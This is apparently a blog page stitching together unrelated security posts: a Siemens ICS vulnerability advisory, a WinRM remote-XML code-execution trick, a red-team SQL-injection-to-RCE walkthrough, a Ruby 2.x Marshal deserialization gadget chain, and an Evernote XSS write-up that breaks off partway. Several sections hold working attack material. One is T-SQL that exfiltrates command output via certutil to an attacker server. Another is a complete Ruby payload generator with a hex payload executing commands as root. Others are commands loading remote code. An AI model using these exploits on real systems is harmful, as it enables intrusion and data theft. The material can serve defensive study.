Siemens Warns of Critical Remote-Code Execution ICS Flaw

Original text

The affected SICAM 230 process control system is used as an integrated energy system for utility companies, and as a monitoring system for smart-grid applications.

Siemens has released 16 security advisories for various industrial control and utility products, including a warning for a critical flaw in the WibuKey digital rights management (DRM) solution that affects the SICAM 230 process control system.

SICAM 230 is used for a broad range of industrial control system (ICS) applications, including use as an integrated energy system for utility companies, and a monitoring system for smart-grid applications.

One of the flaws affecting SICAM 230 is rated critical, with a CVSS v.3 score of 10: CVE-2018-3991 allows a specially crafted TCP packet sent to port 22347/tcp to cause a heap overflow, potentially leading to remote code-execution.

Another, CVE-2018-3990, has a CVSS score of 9.3. It allows a specially crafted I/O request packet to cause a buffer overflow, resulting in kernel memory corruption and, potentially, privilege-escalation.

Users should apply the WibuKey DRM updates to v. 6.5 provided by WIBU Systems to mitigate the issues; the critical CVE-2018-3991 meanwhile can also be mitigated by blocking port 22347/tcp on an external firewall.

Other Vulnerabilities

Other flaws of note amid the 16 advisories include three denial-of-service vulnerabilities with a CVSS v3.0 score of 7.5 in the EN100 Ethernet Communication Module and SIPROTEC 5 relays.

One of those is a vulnerability that affects the network functionality of the devices (CVE-2018-16563), thus rendering them unavailable, Siemens said in its advisory.

Another denial-of-service vulnerability (CVE-2018-11451) would allow an attacker to send specially crafted packets to port 102/tcp to cause a denial-of-service condition, requiring a manual restart.

A third flaw (CVE-2018-11452) would allow an attacker to send specially crafted packets to port 102/tcp to cause a denial-of-service condition in the EN100 communication module if oscillographs are running, also requiring a manual restart.

In all three cases, as a precondition, the IEC 61850-MMS communication needs to be activated on the affected EN100 modules; but no user interaction or privileges are required to exploit them.

Meanwhile, a firmware downgrade vulnerability (CVE-2018-4838) in EN100 Ethernet Communication Module for SIPROTEC 4, SIPROTEC Compact and Reyrolle also carries a CVSS v.3.0 score of 7.5. The web interface (TCP/80) of affected devices allows an unauthenticated user to upgrade or downgrade the firmware of the device, including to older versions with known vulnerabilities.

And finally, several industrial products (the SIMATIC line, SIMOTION and SINAMICs lines, and development/evaluation kits for PROFINET) are affected by a vulnerability (CVE-2017-12741) that could allow remote attackers to conduct a denial-of-service attack by sending specially crafted packets to port 161/udp (SNMP).

Siemens has released updates for some of the affected products, is working on updates for the remaining affected products. For CVE-2018-16563, the company recommends blocking access to port 102/tcp with an external firewall until fixes are available. For some products affected by CVE-2017-12741, users can disable SNMP, which fully mitigates the vulnerability.

Реклама

Round of use Winrm code execution XML

Original text by Matt harr0ey

Introduction 
This beginning alludes to give point simple concept related to using Winrm.vbs to do code executed by XML file so I could collect a few ideas we totally can use to do a simple method is being offered by the red team like Winrm.vbs is getting more popular so I found some things can’t waste any more time to release them,

Winrm.vbs ==> Windows Remote Management

Synopsis 
Winrm is simple service to manage your code execute or instruction on any systems via your computer using WS-Management protocol but this service isn’t being offered here in this a blog post I just give local execute but this may happen remotely if you connect with any servers or computers 
further information,
https://docs.microsoft.com/en-us/windows/desktop/winrm/about-windows-remote-management

Usage XML/Winrm.vbs 
First of all if you just heard about XML/Winrm.vbs here at this time when you saw this a blog post I would say, Yes this research winrm.vbs is totally different from any XML codes else so you can go to have a look at this Microsoft’s concept It gives good description to understand Winrm’s instruction to use

So what’s the relationship between normal XML and Winrm XML 
I think the different from normal XML code and Winrm.vbs code is simple different between them there is something called normal XML is easy to understand but it doesn’t Winrm’s XML isn’t, but Winrm.vbs XML has different codes and different uses from normal XML so let’s go to have a look at picture contains a bit instruction related to WInrm’s XML code
MS-Windows Remote management

Small notes guys
It’s better for you to take full privileges Open as administrator or if you use any platforms Empire Powershell or MSF you can go to get more high level than normal session but don’t forget to use Get-TokenPrvivs
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-TokenPrivs.ps1

Currently we have graphic inside a picture shows some information is beneficial for you how XML’s code is being implemented via XML instructions, but be careful because normal language XML cannot be used by Winrm.vbs I think we must use only Winrm’s XML language and Its version,

These some instructions take you to how you can execute XML/Winrm.vbs via Cscript.exe although I found something else related to the same execute Winrm.vbs but It doesn’t work on my version windows but may works on Windows server2008 or others versions as well, if you have VM and Windows server2008 you can use this research remotely

This text shows remote execute and next picture shows local execute

cscript.exe winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -remote:https://gist.githubuserconten
t.com/homjxi0e/da3a5f4b5f48d60b156960bf27a4d164/raw/b615f853cf962566a516a320e9324fbfdcb124fc/PoCWinrm.xml

Here you can look forward to seeing another new Winrm a blog post detected ( RedCanary ) 
Reference,
Lateral Movement Using WinRM and WMI
https://www.redcanary.com/blog/lateral-movement-winrm-wmi/

From MSSQL to RCE

( Original text by Pablo Martinez )

Introduction

In a Red Team operation, a perimeter asset vulnerable to SQL Injection was identified. Through this vulnerability it was possible to execute commands on the server, requiring an unusual tactic to achieve the exfiltration of the output of the commands. In this article we will explain the approach that was followed to successfully compromise this first perimeter element that was later used to pivot the internal network.

0x01 – Stacked queries

The starting environment is an ASP application that uses a Microsoft SQL Server as its database engine.

The vulnerability is quickly located because, when inserting a simple quotation mark, an ODBC Driver error is displayed on the page indicating that the closing quotation mark is missing. After several failed attempts to form a valid query or SQL expression (e.g. concatenation with the”+” operator), the option of the injection point being a parameter in a stored procedure call is considered. To confirm this, new parameters are introduced by injecting a comma, which effectively causes an error due to an excess of arguments.

Error caused by the passage of too many arguments

As the documentation specifies, the parameters passed to a stored procedure must be constants or variables, so typical union-based or blind techniques cannot be applied. The alternative: the use of stacked queries, supported by default in ASP environments with SQL Server.

Stacked queries consist of the execution of two or more SQL queries in the same transaction, separated by the semicolon character. In this way, it is possible to dump information from the database using time-based techniques:

In this case, the web application does not handle critical information or users with greater privileges, so the Red Team proceeds to investigate new ways, such as the execution of commands.

In MSSQL, there is a procedure called xp_cmdshell that receives a command from Windows, executes it and returns the result as rows of text. The problem in a scenario like this is that the output will never be returned to the user, since the injection no longer occurs in the original query. Therefore, to check that the commands are executed correctly, a by-default Windows utility is used: certutil.exe.

This command, whose original utility is the management of certificates, can be very useful in a Red Team exercise for many reasons:

  • It is by-default Windows binary signed by Microsoft.
  • Allows to make HTTP/s connections and is proxy-aware (uses the proxy configured in the system).
  • Allows to perform Base64 or hex encoding/decoding.

In our scenario, it will be used to make a HTTPs request to a web server controlled by us, so we can confirm that the command was actually executed.

Our server receives a request with User-Agent “CertUtil URL Agent

Although the most common case is that the user of the application does not have permissions to execute the xp_cmdshell procedure (by default disabled), it has been seen on several occasions that, due to a bad configuration, it does have permissions to enable it. In that case, the following queries could be used:

  • EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE;
  • EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;

From here, we’ll see how to exfiltrate the output of any command executed.

0x02 – Data exfiltration

At this point we can execute system commands and make HTTP/s requests to a web server controlled by us. Mixing these two ingredients, it is trivial to exfiltrate information by sending a GET request to https://redteam/[codified_information]. In this case, Base64 is chosen over hexadecimal, because it allows to save more information in fewer characters.

The procedure to achieve it is as follows:

  1. Declare a variable of “table” type to save the output that returns the xp_cmdshell procedure (remember that it returns the result in several rows).
  2. Dump the output of the command to the previous variable.
  3. Concatenate the rows of the table, separated by a line break.
  4. Encode the resulting string in Base64 and save it in a variable.
  5. Generate the certutil command, appending the string with the result.
  6. Execute it.

There is no direct way to perform steps 3 and 4 in T-SQL, but they can be sorted out with two little tricks:

  • There is no function like group_concat (MySQL), so the FOR XML clause is used to concatenate all the rows. In this way, it is possible to obtain the data in the form of a single string (XML), from which we remove the information of the labels by indicating an empty string in PATH mode:
  • SELECT column+char(10) as ‘text()’ FROM table FOR XML path(») — A line break is appended at the end of each row — char(10)
  • On the other hand, there is also no direct way to convert a string to Base64, but there is an option to represent the binary data in Base64. The solution, then, is to convert the string previously into a binary data type:
  • SELECT cast(‘tarlogic’ AS varbinary(max)) FOR XML path(»), BINARY BASE64

To perform this encoding there are other alternatives, such as the use of XQuery.

Putting all the steps together in T-SQL, they would look like the following:

  1. declare @r varchar(4120),@cmdOutput varchar(4120);
  2. declare @res TABLE(line varchar(max));
  3. insert into @res exec xp_cmdshell ‘COMMAND’;
  4. set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as ‘text()’ from @res for xml path(»)) as varbinary(max))) for xml path(»),binary base64);
  5. set @r=concat(‘certutil -urlcache -f https://redteam/’,@cmdOutput);
  6. exec xp_cmdshell @r;

When reading the table containing the result of the command, the collation has been taken into account, since the compromised server returned information such as letters with accent mark that spoiled the Base64 encoding.

Request log containing the output of the commands in Base64

Also, when decoding Base64, it must be taken into account that, since it’s a Windows environment, the output of the command will be represented in Unicode.

0x03 – Automatization

Once we have the ability to execute and view the output of any command, we proceed to automate the process. To do this, the Red Team developed a tool that offers the user a prompt to enter a command. Then, it generates the payload needed to run it while a web server is deployed in order to receive the result. Finally, it decodes it and displays it on the screen.

Tool for automatization

The tool source code, as proof of concept, is available at the following link: https://gist.github.com/xassiz/51f392afbe1c0374a008fa85d621455e.

Conclusion

We have seen how a perimeter asset that a priori did not handle critical or useful information to carry out an intrusion, has allowed the Red Team to turn it into a stepping stone to pivot to the internal network of the target. For this reason, it is important to consider the need for a hardening process and the creation of alerts for this kind of exfiltration, and not just periodic vulnerability audits.

RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN

( Original text by Luke Jahnke )

INTRODUCTION

This blog post details exploitation of arbitrary deserialization for the Ruby programming language and releases the first public universal gadget chain to achieve arbitrary command execution for Ruby 2.x. This will be described in the following sections which detail deserialization issues and related work, discovery of usable gadget chains, and finally exploitation of ruby serialization.

BACKGROUND

Serialization is the process of converting an object into a series of bytes which can then be transferred over a network or be stored on the filesystem or in a database. These bytes include all the relevant information required to reconstruct the original object. This reconstruction process is called deserialization. Each programming language typically has it’s own distinct serialization format. Some programming languages refer to this process by a name other than serialization/deserialization. In the case of Ruby, the terms marshalling and unmarshalling are commonly used.

The Marshal class has the class methods “dump” and “load” which can be used as follows:

Figure-1: Usage of Marshal.dump and Marshal.load
$ irb
>> class Person
>>   attr_accessor :name
>> end
=> nil

>> p = Person.new
=> #<Person:0x00005584ba9af490>

>> p.name = "Luke Jahnke"
=> "Luke Jahnke"

>> p
=> #<Person:0x00005584ba9af490 @name="Luke Jahnke">

>> Marshal.dump(p)
=> "\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET"

>> Marshal.load("\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET")
=> #<Person:0x00005584ba995dd8 @name="Luke Jahnke">

THE PROBLEMS WITH DESERIALIZATION OF UNTRUSTED DATA

A common security vulnerability occurs when a developer incorrectly assumes that an attacker cannot view or tamper with a serialized object as it is an opaque binary format. This can result in any sensitive information stored within the object, such as credentials or application secrets, being disclosed to an attacker. It also frequently results in privilege escalation in the case of the serialized object having instance variables which are subsequently used for permission checks. For example, consider a User object, containing a username instance variable, that is serialized and may be tampered with by an attacker. It is trivial to modify the serialized data and change the username variable to a username of a higher privileged user, such as “admin”. While these attacks can be powerful, they are highly context sensitive as well as being unexciting from a technical point-of-view and are not discussed further in this blog post.

Code reuse attacks are also possible where pieces of already available code, called gadgets, are executed to perform an unwanted action such as executing an arbitrary system command. As deserialization can set instance variables to arbitrary values, this allows an attacker to control some of the data that gadgets operate on. This also allows an attacker to use a gadget to invoke a second gadget, as methods are frequently called on objects stored in instance variables. When a series of gadgets have been linked together in this manner, it is called a gadget chain.

PREVIOUS PAYLOADS

Insecure deserialization is in the eighth spot in the OWASP Top 10 Most Critical Web Application Security Risks for 2017 but limited details have been published on constructing gadget chains for Ruby. However, a good reference can be found in the Phrack paper Attacking Ruby on Rails Applications, where joernchen of Phenoelit describes in section 2.1 a gadget chain discovered by Charlie Somerville that achieves arbitrary code execution. The technique will not be covered again here for brevity, however the pre-requisites are as follows:

  1. The ActiveSupport gem must be installed and loaded.
  2. ERB from the standard library must be loaded (which Ruby does not load by default).
  3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

So, the gauntlet has been thrown down. Can we remove all of these pre-requisites and still achieve arbitrary code execution?

HUNTING FOR GADGETS

Since we want to craft a gadget chain that has no dependencies, gadgets can only be sourced from the standard library. It should be noted that not all of the standard library is loaded by default. This significantly limits the number of gadgets we have at our disposal. For example, Ruby 2.5.3 was tested and found to have 358 classes loaded by default. While this seems high, on closer inspection it is revealed that 196 of these classes have not defined any of their own instance methods. The majority of these empty classes are uniquely named descendants of the Exception class used to differentiate catchable exceptions.

The limited number of available classes means it is incredibly beneficial to find gadgets or techniques that increase the amount of standard library that is loaded. One technique is to look for gadgets that when invoked will require another library. This is useful as even though the require may appear to be in the scope of a certain module and/or class, it will in fact pollute the global namespace.

Figure-2: An example of a method calling require (lib/rubygems.rb)
module Gem
...
  def self.deflate(data)
    require 'zlib'
    Zlib::Deflate.deflate data
  end
...
end

If the above Gem.deflate method was included in a gadget chain, the Zlib library from Ruby’s standard library would be loaded, as demonstrated below:

Figure-3: Demonstration of the global namespace being polluted
$ irb
>> Zlib
NameError: uninitialized constant Zlib
...

>> Gem.deflate("")
=> "x\x9C\x03\x00\x00\x00\x00\x01"

>> Zlib
=> Zlib

While numerous examples exist of the standard library dynamically loading other parts of the standard library, one instance was identified that attempts to load a third-party library if it has been installed on the system, as shown below:

Figure-4: SortedSet from the standard library loading the third-party RBTree library (lib/set.rb)
...
class SortedSet < Set
...
  class << self
...
    def setup
...
          require 'rbtree'

The following figure shows a sample of the extensive locations that will be searched when requiring a library that is not installed, including other library directories:

Figure-5: A sample of the output from strace when Ruby attempts to load RBTree on a default system without RBTree installed
$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl
     1	[pid    32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     2	[pid    32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     3	[pid    32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
   129	[pid    32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   130	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   131	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   132	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   133	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   134	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   135	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   136	[pid    32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
...

A more useful gadget would be one which passes an attacker controlled argument to require. This gadget would enable loading of arbitrary files on the filesystem, thus providing the use of any gadgets in the standard library, including the ERBgadget used in Charlie Somerville’s gadget chain. Although no gadgets were identified that allow complete control of the require argument, an example of a gadget that allows partial control can be seen below:

Figure-6: A gadget allowing partial control of the require argument (ext/digest/lib/digest.rb)
module Digest
  def self.const_missing(name) # :nodoc:
    case name
    when :SHA256, :SHA384, :SHA512
      lib = 'digest/sha2.so'
    else
      lib = File.join('digest', name.to_s.downcase)
    end

    begin
      require lib
...

The above example was unable to be utilised as const_missing is never called explicitly by any Ruby code in the standard library. This is unsurprising as const_missing is a hook method that, when defined, will be invoked when a reference is made to an undefined constant. A gadget such as @object.__send__(@method, @argument), which allows calling an arbitrary method on an arbitrary object with an arbitrary argument, would evidently allow calling the above const_missing method. However, if we already had such a powerful gadget, we would no longer need to increase the set of available gadgets as it alone allows executing arbitrary system commands.

The const_missing method can also be invoked as a result of a calling const_get. The digest method of the Gem::Packageclass defined in the file lib/rubygems/package.rb is a suitable gadget as it calls const_get on the Digest module (although any context will also work) with control of the argument. However, the default implementation of const_get performs strict validation of the character set which prevents traversal outside the digest directory.

Another way of invoking const_missing is implicitly with code such as Digest::SOME_CONSTANT. However, Marshal.load does not perform constant resolution in such a way that will invoke const_missing. More details can be found in Ruby issue 3511 and 12731.

Another example gadget which also provides partial control of the argument passed to require is shown below:

Figure-7: Calling the [] method with an argument results in that argument being included in the argument to require(lib/rubygems/command_manager.rb)
class Gem::CommandManager
  def [](command_name)
    command_name = command_name.intern
    return nil if @commands[command_name].nil?
    @commands[command_name] ||= load_and_instantiate(command_name)
  end

  private

  def load_and_instantiate(command_name)
    command_name = command_name.to_s
...
        require "rubygems/commands/#{command_name}_command"
...
    end
  end
...

The above example was also not utilised due to the “_command” suffix and no technique being identified that allowed truncation (i.e. using null bytes). A number of files do exist with the “_command” suffix but these were not explored further as a different technique was found to increase the set of available gadgets. However, an interested researcher may find it interesting to investigate when exploring this topic.

As shown below, the Rubygem library makes extensive use of the autoload method:

Figure-8: A number of calls to the autoload method (lib/rubygems.rb)
module Gem
...
  autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder'
  autoload :ConfigFile,         'rubygems/config_file'
  autoload :Dependency,         'rubygems/dependency'
  autoload :DependencyList,     'rubygems/dependency_list'
  autoload :DependencyResolver, 'rubygems/resolver'
  autoload :Installer,          'rubygems/installer'
  autoload :Licenses,           'rubygems/util/licenses'
  autoload :PathSupport,        'rubygems/path_support'
  autoload :Platform,           'rubygems/platform'
  autoload :RequestSet,         'rubygems/request_set'
  autoload :Requirement,        'rubygems/requirement'
  autoload :Resolver,           'rubygems/resolver'
  autoload :Source,             'rubygems/source'
  autoload :SourceList,         'rubygems/source_list'
  autoload :SpecFetcher,        'rubygems/spec_fetcher'
  autoload :Specification,      'rubygems/specification'
  autoload :Util,               'rubygems/util'
  autoload :Version,            'rubygems/version'
...
end

autoload works in a similar way to require, but only loads the specified file when a registered constant is accessed for the first time. Due to this behaviour, if any of these constants are included in a deserialization payload the corresponding file will be loaded. These files themselves also contain require and autoload statements further increasing the number of files that could provide useful gadgets.

Although autoload is not expected to remain in the future release of Ruby 3.0, the use in the standard library has recently increased with the release of Ruby 2.5. New code using autoload was introduced in this git commit and can be seen in the following code snippet:

Figure-9: New usage of autoload introduced in Ruby 2.5 (lib/uri/generic.rb)
require 'uri/common'
autoload :IPSocket, 'socket'
autoload :IPAddr, 'ipaddr'

module URI
...

To assist in exploring this extended set of available gadgets in the standard library, we can load every file registered with autoload with the following code:

Figure-10: Bruteforcing constant resolution on every object with every symbol
ObjectSpace.each_object do |clazz|
  if clazz.respond_to? :const_get
    Symbol.all_symbols.each do |sym|
      begin
        clazz.const_get(sym)
      rescue NameError
      rescue LoadError
      end
    end
  end
end

After running the above code we take a new measurement of how many classes are available for providing gadgets, and find 959 classes loaded, an increase of 658 from the earlier value of 358. Of these classes, 511 have defined at least one instance method. The ability to load these additional classes provides significantly improved conditions to begin our search for useful gadgets.

INITIAL/KICK-OFF GADGETS

The start of every gadget chain needs a gadget that will be invoked automatically during or after deserialization. This is the initial entrypoint to execute further gadgets with the ultimate goal of achieving arbitrary code execution or other attacks.

An ideal initial gadget would be one that is automatically invoked by Marshal.load during deserialization. This removes any opportunity for code executed after deserialization to defensively inspect and protect against a malicious object. We suspect it may be possible to automatically invoke a gadget during deserialization as it is a feature in other programming languages such as PHP. In PHP, if a class has the magic method __wakeup defined it will be immediately invoked when deserializing an object of this type. Reading the relevant Ruby documentation reveals that if a class has an instance method marshal_load defined then this method will be invoked upon deserialization of an object of this class.

Using this information we examine every loaded class and check if they have a marshal_load instance method. This was achieved programatically with the following code:

Figure-11: Ruby script to find all classes with marshal_load defined
ObjectSpace.each_object(::Class) do |obj|
  all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods

  if all_methods.include? :marshal_load
    method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s

    puts obj
    puts "  marshal_load defined by #{method_origin}"
    puts "  ancestors = #{obj.ancestors}"
    puts
  end
end

SURPLUS GADGETS

There were numerous gadgets discovered during the research, however only a small selection was used in the final gadget chain. For brevity of this blog post, a few interesting ones are summarised below:

Figure-12: Combined with a gadget chain that calls the cache method, this gadget allows arbitrary code execution (lib/rubygems/source/git.rb)
class Gem::Source::Git < Gem::Source
...
  def cache # :nodoc:
...
      system @git, 'clone', '--quiet', '--bare', '--no-hardlinks',
             @repository, repo_cache_dir
...
  end
...
Figure-13: This gadget can be used to have to_s return something other than an expected String object (lib/rubygems/security/policy.rb)
class Gem::Security::Policy
...
  attr_reader :name
...
  alias to_s name # :nodoc:

end
Figure-14: This gadget can be used to have to_i return something other than an expected Integer object (lib/ipaddr.rb)
class IPAddr
...
  def to_i
    return @addr
  end
...
Figure-15: This code generates a gadget chain that when deserialized enters an infinite loop
module Gem
  class List
    attr_accessor :value, :tail
  end
end

$x = Gem::List.new
$x.value = :@elttam
$x.tail = $x

class SimpleDelegator
  def marshal_dump
    [
      :__v2__,
      $x,
      [],
      nil
    ]
  end
end

ace = SimpleDelegator.new(nil)

puts Marshal.dump(ace).inspect

BUILDING THE GADGET CHAIN

The first step in creating the gadget chain is to build a pool of candidate marshal_load initial gadgets and ensure they call methods on objects we supply. This is very likely to contain every initial gadget as “everything is an object” in Ruby. We can reduce the pool by reviewing the implementations and keeping any that call a common method name on an object we control. Ideally the common method name should have many distinct implementations to choose from.

For my gadget chain I settled on the Gem::Requirement class whose implementation is shown below and grants the ability to call the each method on an arbitrary object:

Figure-16: Gem::Requirement partial source code (lib/rubygems/requirement.rb) — see inline comments
class Gem::Requirement
  # 1) we have complete control over array
  def marshal_load(array)
    # 2) so we can set @requirements to an object of our choosing
    @requirements = array[0]

    fix_syck_default_key_in_requirements
  end

  # 3) this method is invoked by marshal_load
  def fix_syck_default_key_in_requirements
    Gem.load_yaml

    # 4) we can call .each on any object
    @requirements.each do |r|
      if r[0].kind_of? Gem::SyckDefaultKey
        r[0] = "="
      end
    end
  end

end

Now with the ability to call the each method we require a useful implementation of each to get us closer to arbitrary command execution. After reviewing the source code for Gem::DependencyList (and the mixin Tsort) it was found that a call to it’s eachinstance method will result in the sort method being called on it’s @specs instance variable. The exact path taken to reach the sort method call is not included here, but the behavior can be verified with the following command which uses Ruby’s stdlib Tracer class to output a source level execution trace:

Figure-17: Verifying Gem::DependencyList#each results in @specs.sort
$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort'
#0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:     specs = @specs.sort.reverse

With this new ability to call the sort method on an array of arbitrary objects, we leverage it to call the <=> method (spaceship operator) on an arbitrary object. This is useful as Gem::Source::SpecificFile has an implementation of the <=> method that when invoked can result in the name method being invoked on it’s @spec instance variable, as shown below:

Figure-18: Gem::Source::SpecificFile partial source code (lib/rubygems/source/specific_file.rb)
class Gem::Source::SpecificFile < Gem::Source
  def <=> other
    case other
    when Gem::Source::SpecificFile then
      return nil if @spec.name != other.spec.name # [1]

      @spec.version <=> other.spec.version
    else
      super
    end
  end

end

The ability to call the name method on an arbitrary object is the final piece of the puzzle as Gem::StubSpecification has a namemethod which calls its data method. The data method then calls the open method, which is actually Kernel.open, with it’s instance variable @loaded_from as the first argument, as shown below:

Figure-19: Partial source code of Gem::BasicSpecification (lib/rubygems/basic_specification.rb) and Gem::StubSpecification(lib/rubygems/stub_specification.rb)
class Gem::BasicSpecification
  attr_writer :base_dir # :nodoc:
  attr_writer :extension_dir # :nodoc:
  attr_writer :ignored # :nodoc:
  attr_accessor :loaded_from
  attr_writer :full_gem_path # :nodoc:
...
end

class Gem::StubSpecification < Gem::BasicSpecification

  def name
    data.name
  end

  private def data
    unless @data
      begin
        saved_lineno = $.

        # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.
        open loaded_from, OPEN_MODE do |file|
...

Kernel.open can be used to execute arbitrary commands when the first character of the first argument is a pipe character (“|”) as outlined in the relevant documentation. It will be interesting to see if the TODO comment directly above the open is resolved soon.

GENERATING THE PAYLOAD

The following script was developed to generate and test the previously described gadget chain:

Figure-20: Script to generate and verify the deserialization gadget chain
#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

The following Bash one-liner verifies the payload successfully executes against an empty Ruby process, showing versions 2.0 to 2.5 are affected:

Figure-21: Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)

CONCLUSION

This post has explored and released a universal gadget chain that achieves command execution in Ruby versions 2.0 to 2.5.

As this post has illustrated, intricate knowldge of the Ruby standard library is incredibly useful in constructing deserialization gadget chains. There is a lot of opportunity for future work including having the technique cover Ruby versions 1.8 and 1.9 as well as covering instances where the Ruby process is invoked with the command line argument --disable-all. Alternate Ruby implementations such as JRuby and Rubinius could also be investigated.

There has been some research into Fuzzing Ruby C extensions and Breaking Ruby’s Unmarshal with AFL-Fuzz. After finishing this investigation there appears to be ample opportunity for further research, including manual code review, of the native code implementations of the marshal_load methods shown below:

Figure-22: Instances of marshal_load implemented in C
complex.c:    rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1);
iseq.c:    rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1);
random.c:    rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1);
rational.c:    rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1);
time.c:    rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1);
ext/date/date_core.c:    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);
ext/socket/raddrinfo.c:    rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);

 

Evernote For Windows Read Local File and Command Execute Vulnerabilities

( Original text by TongQing Zhu@Knownsec 404 Team )

0x00 TL;DR

  1. A stored cross site scripting(XSS) issue was repaired before version 6.15.
  2. If a stored XSS in your note,the javascript code will executed in lastest Evernote for Windows.It mean I can create a stored XSS in version 6.14 and it will always work.
  3. Present mode was created by node webkit,I can control it by stored XSS.
  4. I successfully read «C:\Windows\win.ini» and open calc.exe at last.

0x01 A Stored XSS In Version 6.14

Thanks @sebao,He told me how he found a stored xss in Evernote. 1. Add a picture to your note. 2. Right click and rename this picture,like: " onclick="alert(1)">.jpg 3. open this note and click this picture,it will alert(1)

2018/09/20, Evernote for Windows 6.15 GA released and fix the issue @sebao reported.

In Evernote for Windows 6.15, <,>," were filtered when insert filename,But the note which named by sebao_xss can also alert(1).It mean they are do nothing when the filename output.I can use store XSS again.

0x02 JS Inject In NodeWebKit

Of course, I don’t think this is a serious security problem.So I decided to find other Vulnerabilities like RCE or local file read.

In version 6.14,I rename this picture as " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg for convenience, It allows me load the js file from remote server. Then I installed Evernote for Windows 6.15.

I try some special api,like: evernote.openAttachment,goog.loadModuleFromUrl,but failed.

